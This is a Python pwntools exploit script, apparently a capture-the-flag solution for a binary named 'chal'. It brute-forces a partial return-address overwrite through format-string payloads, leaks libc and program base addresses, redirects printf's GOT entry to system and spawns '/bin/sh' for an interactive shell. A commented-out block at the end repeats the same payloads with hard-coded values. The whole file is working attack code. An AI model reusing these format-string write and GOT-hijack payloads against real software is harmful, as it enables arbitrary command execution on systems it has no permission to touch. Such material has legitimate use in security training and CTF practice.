#!/usr/bin/python3

from pwn import *
import re

context.binary = target = ELF("./chal", checksec=False)
libc = target.libc

# bruteforce lower 12 bits
def brute():
	for a in range(1, 256):
		for b in range(8, 256, 16):
			r = process(level="error")
			partial_ret = (a << 8) | b
			write = (0x61 - (partial_ret & 0xff)) & 0xff
			buf = b"%c"*16 + f"%{partial_ret-16}c%hn".encode()
			buf += f"%{write}c%48$hhn".encode()
			r.sendlineafter(b": ", buf)
			try:
				r.recvuntil(b"Type")
				return r, partial_ret
			except:
				r.kill()
				continue

# leak
r, partial_ret = brute()
log.info("ret: %#x", partial_ret)
buf = f"%97c%48$hhn".encode()
buf += b"AAAA%17$p.%19$p"
r.sendlineafter(b": ", buf)
r.recvuntil(b"AAAA")
leaks = re.findall(r'0x[a-z0-9]+', r.recvS())
libc.address = int(leaks[0], 16) - 0x29d68
log.info("libc: %#x", libc.address)
target.address = int(leaks[1], 16) - 0x1169 
log.info("elf: %#x", target.address)

# write
partial_ret = int(hex(libc.sym.system)[-4:], 16)
buf = f"%{partial_ret}c%12$hn".encode().ljust(16, b"A") + b"%110c%48$hhn".ljust(16, b"A") + p64(target.got.printf)
r.sendline(buf)
r.sendline(b"/bin/sh")

r.interactive()

"""
# write
partial_ret = 0xe068
write = (0x61 - (partial_ret & 0xff)) & 0xff
buf = b"%c"*16 + f"%{partial_ret-16}c%hn".encode()
buf += f'%{write}c%48$hhn'.encode()
s(buf)

# leak
buf = f"%97c%48$hhn".encode()
buf += b"AAAA%17$p.%19$p"
s(buf)
r.recvuntil(b"AAAA")
leaks = re.findall(r'0x[a-z0-9]+', r.recvS())
libc.address = int(leaks[0], 16) - 0x29d68
target.address = int(leaks[1], 16) - 0x1169 
log.info("elf: %#x", target.address)

# write
partial_ret = 0x38f0
buf = f"%{partial_ret}c%12$hn".encode().ljust(16, b"A") + b"%110c%48$hhn".ljust(16, b"A") + p64(target.got.printf)
r.sendline(buf)
"""